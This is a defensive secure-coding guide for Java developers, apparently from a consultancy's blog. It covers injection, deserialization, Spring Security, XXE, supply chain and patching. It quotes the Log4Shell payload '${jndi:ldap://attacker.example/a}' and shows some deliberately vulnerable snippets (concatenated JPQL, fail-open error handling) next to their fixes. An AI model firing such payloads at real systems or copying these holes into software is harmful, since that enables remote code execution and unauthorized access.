A penetration test report arrives two weeks before a release of a Spring Boot payments service. None of its findings concern memory corruption: a reporting endpoint builds JPQL by string concatenation, an order API returns any customer’s order when the ID in the URL changes, and log4j 1.x is still on the classpath, brought in by a PDF library nobody remembers adding. That is the usual shape of a Java security finding in 2026. The JVM closed off the low-level bug classes years ago, so secure Java code now depends on the application code, its configuration and its dependencies.
What the Java platform secures for you
Java’s security features are often listed as reasons to choose the language. The more useful reading in 2026 is where the platform’s guarantees end, so review effort goes where they do not reach. The diagram puts the two side by side.
Memory safety, bytecode verification and strong encapsulation
Java code cannot do pointer arithmetic, every array access is bounds-checked, and the garbage collector frees memory only when nothing references it. Buffer overflows, use-after-free and double-free, the classic memory-corruption bugs of C and C++, cannot be written in plain Java. That is the memory safety guarantee, and it holds unless code steps outside it through JNI, the foreign function API or sun.misc.Unsafe.
Before a class runs, the bytecode verifier checks that it is well formed and type-safe: no stack overflows or underflows, no casting an integer into a reference, no jumping into the middle of an instruction. Class loaders keep classes from different sources in separate namespaces, so a class cannot pass itself off as java.lang.String.
Since JDK 17, the JDK’s internal packages are strongly encapsulated: code outside the JDK cannot reach them by reflection unless a launch flag opens them (JEP 403). Java 26 continues the same direction with warnings when deep reflection modifies final fields (JEP 500). Each step removes a way for a compromised library to tamper with the platform.
Security APIs in the JDK, from TLS 1.3 to post-quantum keys
The Java Cryptography Architecture (JCA) and its extension (JCE) provide ciphers, signatures, message digests, MACs, key generation and secure random numbers behind provider-neutral interfaces. JSSE implements TLS, with TLS 1.3 supported since JDK 11 (JEP 332). Recent releases added the pieces a post-quantum migration needs:
- The Key Encapsulation Mechanism API in JDK 21 (JEP 452).
- ML-KEM for key encapsulation (JEP 496) and ML-DSA for digital signatures (JEP 497), both in JDK 24: the lattice-based algorithms NIST standardized as FIPS 203 and FIPS 204.
- The Key Derivation Function API, final in JDK 25 (JEP 510), with HKDF.
- Post-quantum hybrid key exchange for TLS 1.3 in JDK 27 (JEP 527): X25519MLKEM768 and two other groups that combine ECDHE with ML-KEM, used by
javax.net.sslclients and servers without code changes. - PEM encoding and decoding of keys and certificates, in preview since JDK 25 (JEP 470; third preview in JDK 27, JEP 538).
On Java 25, the LTS release, a post-quantum key encapsulation needs no third-party provider:
// JDK 24 or later: ML-KEM through the KEM API from JDK 21
KeyPair receiver = KeyPairGenerator.getInstance("ML-KEM-768").generateKeyPair();
KEM kem = KEM.getInstance("ML-KEM");
KEM.Encapsulated sent = kem.newEncapsulator(receiver.getPublic()).encapsulate();
SecretKey senderKey = sent.key(); // use for AES-GCM
byte[] encapsulation = sent.encapsulation(); // send to the receiver
SecretKey receiverKey = kem.newDecapsulator(receiver.getPrivate()).decapsulate(encapsulation);
The APIs are only as safe as the parameters passed to them. Cipher.getInstance("AES") gives AES in ECB mode on the default provider, which leaks patterns in the plaintext. Name the mode, use a fresh IV per message, and prefer an authenticated mode:
private static final SecureRandom RANDOM = new SecureRandom();
static byte[] encrypt(SecretKey key, byte[] plaintext, byte[] context) throws GeneralSecurityException {
byte[] iv = new byte[12];
RANDOM.nextBytes(iv); // a fresh IV for every message
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(128, iv));
cipher.updateAAD(context); // e.g. the record id, authenticated but not encrypted
byte[] sealed = cipher.doFinal(plaintext);
return ByteBuffer.allocate(iv.length + sealed.length).put(iv).put(sealed).array();
}
The Security Manager is gone, and what replaces it
The Security Manager and its policy files were long the standard advice for access control in Java. Since JDK 24 the Security Manager is permanently disabled: it cannot be enabled at startup or installed at run time (JEP 486). It was designed for applets and was rarely used on servers, where its cost and complexity outweighed what it protected.
The jobs it was meant to do now sit elsewhere. Sandboxing belongs to the operating system and the container: a non-root user, a read-only file system, dropped capabilities and network policies that limit what a compromised process can reach. Authorization belongs in the application, enforced by Spring Security or Jakarta Security on every request, as the sections below show.
Where Java applications get breached: the OWASP Top 10:2025 mapped to Java
OWASP published the Top 10:2025 as the successor to the 2021 list. Broken access control stays first. Two changes matter for Java teams: vulnerable components grew into Software Supply Chain Failures at A03, covering the build pipeline and artifact integrity as well as outdated libraries, and a new A10 covers mishandled exceptions, including code that fails open. The table maps each category to the way it typically appears in Java code.
| OWASP Top 10:2025 | How it shows up in Java code | First defence |
|---|---|---|
| A01 Broken Access Control | An endpoint checks the role but not whose record it returns; method security never enabled | Ownership in the query, @PreAuthorize |
| A02 Security Misconfiguration | Actuator endpoints exposed, XML parsers with DTDs on, secrets in application.yml | Deny by default, hardened parser factories |
| A03 Software Supply Chain Failures | A vulnerable or abandoned library several levels down the tree; an unpatched JDK | SBOM, SCA in CI, automated updates |
| A04 Cryptographic Failures | Cipher.getInstance("AES") (ECB), SHA-256 password hashes, a trust-all TrustManager | AES-GCM, PasswordEncoder, default JSSE |
| A05 Injection | Concatenated SQL, JPQL or HQL; Runtime.exec with user input; th:utext | Bound parameters, validation, encoding |
| A06 Insecure Design | No rate limit on login or password reset; trust in values the client computed | Threat modelling, limits in the design |
| A07 Authentication Failures | Hand-written login and session code, no second factor for admins | Spring Security, MFA in 7.0 |
| A08 Software or Data Integrity Failures | ObjectInputStream on network input, Jackson default typing, unsigned artifacts | JSON into records, filters, signatures |
| A09 Security Logging and Alerting Failures | Tokens in logs, no record of failed logins or denied requests | Authorization events, masked fields |
| A10 Mishandling of Exceptional Conditions | A catch block that lets the request through; stack traces in responses | Fail closed, generic error bodies |
The breach data points the same way. Verizon’s 2026 Data Breach Investigations Report found that 31% of breaches started with the exploitation of a software vulnerability, ahead of stolen credentials as the most common way in. The global average cost of a breach reached $4.99 million, 12% more than a year earlier, according to IBM’s Cost of a Data Breach Report 2026, research by the Ponemon Institute for a company that sells security products.
Preventing injection: parameterized queries, input validation and output encoding
Injection happens when input crosses into a language the application then interprets: SQL, JPQL, LDAP filters, shell commands, HTML, Spring expressions. The fix is the same in every case: keep data and code in separate channels.
SQL and JPQL: bind every value
JPA does not make string-built queries safe. JPQL and HQL are parsed like SQL, so concatenated input injects just as well. Bind every value as a parameter; Spring Data derived queries and @Query with named parameters do this for you.
// Vulnerable: the input becomes part of the query text
String jpql = "select o from Order o where o.status = '" + status + "'";
// Safe: the value is bound and never parsed as JPQL
List<Order> orders = em.createQuery(
"select o from Order o where o.status = :status", Order.class)
.setParameter("status", status)
.getResultList();
// Same rule with Spring's JdbcClient
List<Order> recent = jdbc.sql("select * from orders where customer_id = :id and created_at > :since")
.param("id", customerId)
.param("since", since)
.query(Order.class)
.list();
Column names and sort directions cannot be bound. Map them from an enum instead of passing the request value through:
enum SortField { CREATED, TOTAL }
static String orderBy(SortField field) {
return switch (field) {
case CREATED -> "o.createdAt";
case TOTAL -> "o.total";
};
}
The same rule covers ProcessBuilder: pass arguments as a list, never as one shell string, and never let input pick the executable.
Validating input with Jakarta Bean Validation
Validation rejects input that cannot be right before it reaches business logic: wrong format, wrong range, wrong length. With spring-boot-starter-validation, constraints on a record and @Valid on the controller parameter turn bad requests into 400 responses before the method body runs.
public record TransferRequest(
@NotBlank @Pattern(regexp = "[A-Z]{2}[0-9]{2}[A-Z0-9]{11,30}") String iban,
@NotNull @Positive @Digits(integer = 9, fraction = 2) BigDecimal amount,
@Size(max = 140) String reference) {}
@PostMapping("/transfers")
ResponseEntity<Void> create(@Valid @RequestBody TransferRequest request) {
transfers.submit(request);
return ResponseEntity.accepted().build();
}
Validate against an allowlist of what is valid rather than a blocklist of what looks dangerous. Validation narrows the input; it does not replace parameter binding or output encoding, because a perfectly valid surname can still contain an apostrophe.
Encoding output for the context it lands in
Cross-site scripting is injection into HTML. Server-side templates handle most of it: Thymeleaf escapes th:text by default, and a th:utext in a code review deserves a question. Where Java code builds markup or JavaScript directly, encode for the exact context with the OWASP Java Encoder.
// Thymeleaf escapes th:text; th:utext writes raw HTML and needs a reason in review
// <p th:text="${comment.body}">...</p>
// Building markup in Java: encode for the exact context (OWASP Java Encoder)
String cell = "<td title=\"" + Encode.forHtmlAttribute(name) + "\">" + Encode.forHtml(name) + "</td>";
A Content Security Policy is the second layer. Spring Security sets one with headers(h -> h.contentSecurityPolicy(...)); running it in report-only mode first shows which inline scripts would break.
Safe deserialization in Java: avoid native serialization, filter what remains
Java’s native serialization reconstructs objects from a byte stream and runs code while it does so. When the stream comes from an attacker, a chain of ordinary classes on the classpath (a gadget chain) can be enough for remote code execution, without any bug in your own code. The rule is short: never deserialize untrusted data with ObjectInputStream. Exchange JSON or Protobuf and map it onto records, whose canonical constructor runs on every deserialization.
Polymorphic JSON brings the same risk back if Jackson is allowed to pick the class from the payload. Leave default typing off and name the permitted subtypes. A sealed interface makes the list explicit in the type system as well:
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonSubTypes({
@JsonSubTypes.Type(value = CardPayment.class, name = "card"),
@JsonSubTypes.Type(value = BankTransfer.class, name = "transfer")
})
sealed interface Payment permits CardPayment, BankTransfer {}
record CardPayment(String token, BigDecimal amount) implements Payment {}
record BankTransfer(String iban, BigDecimal amount) implements Payment {}
Where native serialization cannot be removed yet (old RMI, a cache, a session store), filter it. JDK 9 added serialization filters (JEP 290, backported to Java 8), and JDK 17 added context-specific filter factories (JEP 415). An allowlist with size and depth limits rejects everything else:
// JVM-wide default, as a launch flag:
// -Djdk.serialFilter=maxbytes=65536;maxdepth=10;com.example.events.*;java.base/*;!*
static OrderEvent read(InputStream input) throws IOException, ClassNotFoundException {
var filter = ObjectInputFilter.Config.createFilter(
"maxbytes=65536;maxdepth=10;com.example.events.*;java.base/*;!*");
try (var in = new ObjectInputStream(input)) {
in.setObjectInputFilter(filter);
return (OrderEvent) in.readObject();
}
}
Authentication and authorization with Spring Security 7
Hand-written authentication is where many A07 findings come from. Spring Boot 4 ships Spring Security 7, and most Java web applications should start from its defaults and change them deliberately.
What Spring Boot 4 and Spring Security 7 give you by default
Once Spring Security is on the classpath, Spring Boot requires authentication for every endpoint. Servlet applications get CSRF protection for state-changing requests, session fixation protection, and security headers including X-Content-Type-Options, X-Frame-Options, cache control and HSTS over HTTPS. Spring Security 7.0 removed several older paths: authorizeRequests, the and() chaining style, AntPathRequestMatcher and the OAuth 2.0 password grant are gone. It added multi-factor authentication support, Password4j-based encoders and PKCE by default in the authorization server, which is now part of Spring Security. The Spring Boot 4 migration guide covers the upgrade itself.
A filter chain that denies by default fails safely when someone adds an endpoint and forgets to write a rule for it:
@Bean
SecurityFilterChain api(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/actuator/health").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.requestMatchers("/api/**").authenticated()
.anyRequest().denyAll())
.oauth2ResourceServer(rs -> rs.jwt(Customizer.withDefaults()));
return http.build();
}
Hashing passwords with PasswordEncoder
Passwords are stored with a slow, salted, adaptive hash, never with SHA-256 or any other fast digest. The OWASP Password Storage Cheat Sheet recommends Argon2id first and bcrypt for legacy systems. DelegatingPasswordEncoder prefixes each hash with its algorithm, so the algorithm can change without a mass reset:
@Bean
PasswordEncoder passwordEncoder() {
Map<String, PasswordEncoder> encoders = Map.of(
"argon2", Argon2PasswordEncoder.defaultsForSpringSecurity_v5_8(),
"bcrypt", new BCryptPasswordEncoder());
// New hashes use Argon2; stored {bcrypt} hashes still verify
return new DelegatingPasswordEncoder("argon2", encoders);
}
Spring Security’s Argon2 encoder needs Bouncy Castle on the classpath; the 7.0 Password4j encoders are an alternative. With a UserDetailsPasswordService bean, old hashes are re-encoded with the new algorithm at each user’s next login.
Checking ownership on every object
A URL rule says who may call /api/orders/{id}. It says nothing about which orders that caller may see. Insecure direct object references, the most common form of broken access control, live in that gap. Put the owner into the query, so a foreign ID returns nothing, and answer 404 rather than 403 so the response does not confirm the record exists. This is object-level authorization, and no framework default does it for you.
interface OrderRepository extends JpaRepository<Order, Long> {
Optional<Order> findByIdAndCustomerId(Long id, String customerId);
}
@GetMapping("/api/orders/{id}")
OrderView order(@PathVariable long id, @AuthenticationPrincipal Jwt jwt) {
return orders.findByIdAndCustomerId(id, jwt.getSubject())
.map(OrderView::from)
.orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));
}
For rules that do not fit a query, @EnableMethodSecurity with @PreAuthorize and @PostAuthorize keeps them next to the service method. Test them the same way as business logic, with a second user who must be refused.
Failing closed when an exception is thrown
OWASP’s new A10 category is about code like the first block below: a limit or permission check that throws, a catch that logs it, and a default that lets the request through.
// Fails open: an error in the check lets the request through
boolean withinLimitFailOpen(Account account, BigDecimal amount) {
try {
return limits.check(account, amount);
} catch (LimitServiceException e) {
log.warn("limit check failed", e);
return true;
}
}
// Fails closed: no answer means no
boolean withinLimit(Account account, BigDecimal amount) {
try {
return limits.check(account, amount);
} catch (LimitServiceException e) {
log.warn("limit check failed for account {}", account.id(), e);
return false;
}
}
Error responses should carry a correlation ID, not a stack trace. Spring Boot’s server.error.include-stacktrace defaults to never; keep it that way outside local development.
Parsing XML without XXE
XML external entities let a document ask the parser to read a local file or call an internal URL and insert the result. The JDK’s parsers process DTDs by default, so every factory that reads uploaded or partner-supplied XML needs to be configured, and the configuration has to be repeated for each factory type. The OWASP XXE Prevention Cheat Sheet lists the settings per parser; for DOM and StAX:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
Document doc = dbf.newDocumentBuilder().parse(upload);
// StAX
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
Disallowing DOCTYPE outright is the strongest setting, and few integrations need a DTD. Check libraries that parse XML on your behalf too: SOAP stacks, SAML, and office document readers.
Keeping secrets and keys out of the code
Database passwords, API keys and signing keys belong in a secret manager (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, Google Secret Manager), injected at run time. Spring Cloud Vault and Spring Cloud AWS read them directly; on Kubernetes, spring.config.import=configtree:/run/secrets/ maps mounted secret files to properties. A secret scanner such as gitleaks in the pipeline, or push protection on the repository host, catches the key someone commits by accident.
Diagnostics are another leak path: a password passed as a -D flag shows up in JFR recordings on older JDKs. JDK 27 redacts command-line arguments, environment variables and system properties in recordings before they leave the process (JEP 536).
Secrets also leak through logs. A record’s generated toString() prints every component, so a record that holds a credential needs its own:
public record DbCredentials(String user, String password) {
@Override
public String toString() {
return "DbCredentials[user=" + user + ", password=***]";
}
}
Dependency and supply-chain security: lessons from Log4Shell
A typical Spring Boot service ships a few thousand lines of its own code on top of a dependency tree many times larger. Black Duck’s 2026 OSSRA report, drawn from 947 commercial codebases it audited and published by a company that sells software composition analysis, found an average of 581 vulnerabilities per codebase, with high-risk vulnerabilities in 78% of codebases and critical-risk ones in 44%. In financial services and fintech, 92% of codebases contained a high- or critical-risk vulnerability.
Log4Shell, the reference case
In December 2021, CVE-2021-44228 showed what one library can do. Log4j 2 resolved lookups inside logged messages, so a string such as ${jndi:ldap://attacker.example/a} in a User-Agent header made the server fetch and run remote code. The score was 10.0, and the library sat in most Java systems, usually as a transitive dependency. Apache needed four releases in a month to close the issue and its follow-ups, ending at 2.17.1 (Apache Log4j security page).
The lessons still apply:
- Teams that could answer “where do we run Log4j 2, and which version?” in minutes had a dependency inventory. Everyone else spent the first days searching.
- Teams with a build and test pipeline they trusted shipped each fix the day it came out. The others patched once and hoped.
- A current JDK limited the damage: JDK 8u191 and later had stopped trusting remote codebases in LDAP lookups by default, which blocked the simplest form of the attack but not all of it.
The library that is no longer maintained is the other half of the story. Log4j 1.x reached end of life in 2015, yet it still turns up in 2026 scans, as it did in the opening example.
SBOM, scanning and automated updates
Start with a software bill of materials. A CycloneDX SBOM generated on every build records every resolved component and version. Since Spring Boot 3.3, the starter parent manages the CycloneDX Maven plugin and Actuator serves the result at /actuator/sbom, so the running service can say what it contains:
<!-- pom.xml, with spring-boot-starter-parent managing version and execution -->
<plugin>
<groupId>org.cyclonedx</groupId>
<artifactId>cyclonedx-maven-plugin</artifactId>
</plugin>
OWASP Dependency-Track ingests SBOMs from every service and re-checks them as new advisories appear, which answers the Log4Shell question across a portfolio. OWASP Dependency-Check, or the scanning built into GitHub, GitLab and commercial SCA tools, fails the build on a known vulnerability above an agreed severity. Dependabot or Renovate then open pull requests for patch and minor updates, and a merge policy for green builds keeps them from piling up.
A scanner total is where triage starts. A finding in a test-scoped dependency, or in a class the application never loads, carries different risk from one on the request path. On a fifteen-year-old Java store and back office for a wine merchant, the scan found 12 critical and 35 high-severity advisories, including log4j 1.x and old file upload libraries. We upgraded the platform in tested steps to Spring 6.2 and Java 25 and, for an embedded workflow engine too deeply built in to replace in one phase, repackaged it without the one vulnerable class the application never called. The re-scan found none.
When a findings list is longer than the team can schedule, our Java vulnerability remediation work starts from that kind of baseline: an SBOM, applicability notes and an upgrade order.
Signed artifacts and verified builds
The supply chain also includes what you download and what you publish. Maven Central requires a PGP signature on every artifact and ties each group ID to a verified namespace. Gradle can check the checksum and signature of every dependency against gradle/verification-metadata.xml, which stops a tampered artifact in a mirror. For your own images and JARs, Sigstore signing and SLSA provenance from the CI system let the deployment platform refuse anything the pipeline did not build. Route all downloads through one repository manager, so there is a single place to block a bad component.
Staying on a supported JDK and patching every quarter
The JDK is a dependency like any other, and it gets security fixes on a fixed calendar. Oracle publishes Critical Patch Updates on the third Tuesday of January, April, July and October, and OpenJDK builds from other vendors follow the same day; the next dates are 20 October 2026 and 19 January 2027. A team that rolls the quarterly Critical Patch Update into its base images within a week or two has a routine. A team that skips quarters ends up doing it under pressure when a severe CVE appears.
The patches exist only while the release line is supported. Java 25 is the current LTS. JDK 26 (March 2026) and JDK 27 (15 September 2026, the latest feature release) are non-LTS releases, each updated only until the next feature release six months later. The Java end of life dates page lists when each LTS loses free and paid support, and what Oracle’s October 2026 licence change means for JDK 21. Frameworks run out first: every Spring Boot 3.x line left open-source support on 30 June 2026.
Security testing in CI: SAST, SCA and DAST
Manual review catches design flaws; tools catch the repeatable mistakes on every commit. A useful Java pipeline has three kinds of check:
- Static analysis (SAST) on each pull request: Semgrep or CodeQL with their Java rule sets, or SpotBugs with the Find Security Bugs plugin, tuned until developers trust the findings.
- Software composition analysis (SCA) and secret scanning on each build, as above.
- Dynamic testing (DAST) against a deployed test environment: a ZAP baseline scan on every deployment, and a full scan on a schedule.
Security tests belong in the ordinary test suite as well: an integration test that calls another customer’s order and expects 404, a test that posts an XML document with a DOCTYPE and expects a rejection. The guide to types of software testing places these among the rest.
Reviewing AI-generated Java code
In the 2025 Stack Overflow Developer Survey, 84% of respondents used or planned to use AI tools in development, and 46% said they distrust the accuracy of the output, against 33% who trust it. Generated code reproduces the patterns it was trained on, including concatenated queries, disabled certificate checks and Jackson default typing, and it does so with confident formatting that makes review easier to skip.
Dependencies are the newer risk. Researchers who generated 576,000 code samples with 16 language models found that hallucinated packages, names that do not exist, averaged at least 5.2% of package references from commercial models and 21.7% from open-source ones (Spracklen et al., USENIX Security 2025). The study covered Python and JavaScript. Maven Central’s namespace verification makes squatting a hallucinated coordinate harder than on npm or PyPI, but a plausible group ID on an internal proxy, or a real but abandoned library the model remembers, gets through the same way.
The controls are the ones above, applied without exceptions for generated code: a reviewer who reads every line, SAST and SCA on the pull request, and a rule that any new dependency is checked for existence, history and maintainers before it is merged. The overview of AI coding tools compares the assistants themselves, and our Java best practices set out the coding standards to hold generated code to.
Secure Java code checklist for 2026
The practices in this guide, with the tool or API for each and the OWASP category it addresses, for a code review template or a pipeline audit:
Most items on the list are a one-time change to a pull request template or a pipeline. The last few are a schedule: quarterly JDK patches, weekly dependency updates and a framework upgrade before its support ends. That recurring part is what we take on under managed Java application support: the same engineers keep the dependency tree and the JDK current every quarter, with the tests that make each upgrade safe to release.